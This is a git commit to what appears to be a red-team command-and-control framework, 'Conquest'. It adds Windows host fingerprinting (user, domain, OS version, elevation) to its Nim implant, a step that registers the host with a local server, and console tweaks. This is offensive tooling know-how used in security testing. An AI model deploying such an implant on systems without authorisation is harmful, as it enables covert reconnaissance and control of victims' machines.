Implemented Windows Version fingerprinting

This commit is contained in:
Jakob Friedl
2025-05-21 14:06:04 +02:00
parent c55a9f9443
commit 71336a6fa7
8 changed files with 161 additions and 26 deletions

View File

@@ -1,16 +1,6 @@
import winim, os, net
import winim, os, net, strformat, strutils, registry
import ./types
# Username
proc getUsername*(): string =
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
import ./[types, utils]
# Hostname/Computername
proc getHostname*(): string =
@@ -31,6 +21,22 @@ proc getDomain*(): string =
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
return $buffer[ 0 ..< int(dwSize)]
# Username
proc getUsername*(): string =
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
if getDomain() != "":
# If domain-joined, return username in format DOMAIN\USERNAME
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
else:
# If not domain-joined, only return USERNAME
discard GetUsernameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Current process name
proc getProcessExe*(): string =
@@ -42,7 +48,8 @@ proc getProcessExe*(): string =
if hProcess != 0:
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
return string($buffer).extractFilename()
# We replace trailing NULL bytes to prevent them from being sent as JSON data
return string($buffer).extractFilename().replace("\u0000", "")
finally:
CloseHandle(hProcess)
@@ -60,6 +67,45 @@ proc getIPv4Address*(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr()
# Windows Version
# Windows Version fingerprinting
proc getProductType(): ProductType =
# Instead, we retrieve the product key from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
# ProductType REG_SZ WinNT
# Possible values are:
# LanmanNT -> Server/Domain Controller
# ServerNT -> Server
# WinNT -> Workstation
# Using the 'registry' module, we can get the exact registry value
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
of "WinNT":
return WORKSTATION
of "ServerNT":
return SERVER
of "LanmanNT":
return DC
proc getOSVersion*(): string =
discard
proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows):
var osInfo: types.OSVersionInfoExW
discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion)
# echo $int(osInfo.dwBuildNumber)
# RtlGetVersion does not actually set the Product Type, which is required to differentiate
# between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
# Normally, a value of 1 indicates a workstation os, while other values represent servers
# echo $int(osInfo.wProductType).toHex
# We instead retrieve the
return getWindowsVersion(osInfo, getProductType())
else:
return "Unknown"

View File

@@ -20,13 +20,11 @@ proc register*(listener: string): string =
"pid": getProcessId(),
"elevated": isElevated()
}
echo $body
try:
# Register agent to the Conquest server
let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
return responseBody
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
except HttpRequestError as err:
echo "Registration failed"
quit(0)

View File

@@ -23,3 +23,26 @@ type
args*: seq[string]
result*: TaskResult
status*: TaskStatus
type
ProductType* = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
dwOSVersionInfoSize*: ULONG
dwMajorVersion*: ULONG
dwMinorVersion*: ULONG
dwBuildNumber*: ULONG
dwPlatformId*: ULONG
szCSDVersion*: array[128, WCHAR]
wServicePackMajor*: USHORT
wServicePackMinor*: USHORT
wSuiteMask*: USHORT
wProductType*: UCHAR
wReserved*: UCHAR

65
agents/monarch/utils.nim Normal file
View File

@@ -0,0 +1,65 @@
import strformat
import ./types
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"

View File

@@ -101,7 +101,7 @@ proc agentInteract*(cq: Conquest, name: string) =
cq.writeLine(fgYellow, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
cq.interactAgent = agent
while command != "exit":
while command != "back":
command = cq.readLine()
cq.withOutput(handleAgentCommand, command)

View File

@@ -13,7 +13,7 @@ var parser = newParser:
command("help"):
nohelpflag()
command("exit"):
command("back"):
nohelpflag()
proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
@@ -29,7 +29,7 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
case opts.command
of "exit": # Exit program
of "back": # Return to management mode
discard
of "help": # Display help menu

View File

@@ -5,7 +5,5 @@ var cq*: Conquest
# Colors
# https://colors.sh/
# TODO Replace all colored output with custom colors
const yellow* = "\e[48;5;232m"
const red* = "\e[210;66;79m"
const resetColor* = "\e[0m"

View File

@@ -75,9 +75,14 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) =
cq.writeLine(row(headers, widths))
cq.writeLine(border(midLeft, midMid, midRight, widths))
# TODO: Highlight elevated processes
for a in agents:
let row = @[a.name, a.ip, a.username, a.hostname, a.os, a.process, $a.pid]
cq.writeLine(row(row, widths))
# Highlight agents running within elevated processes
if a.elevated:
cq.writeLine(bgRed, fgBlack, row(row, widths))
else:
cq.writeLine(row(row, widths))
cq.writeLine(border(botLeft, botMid, botRight, widths))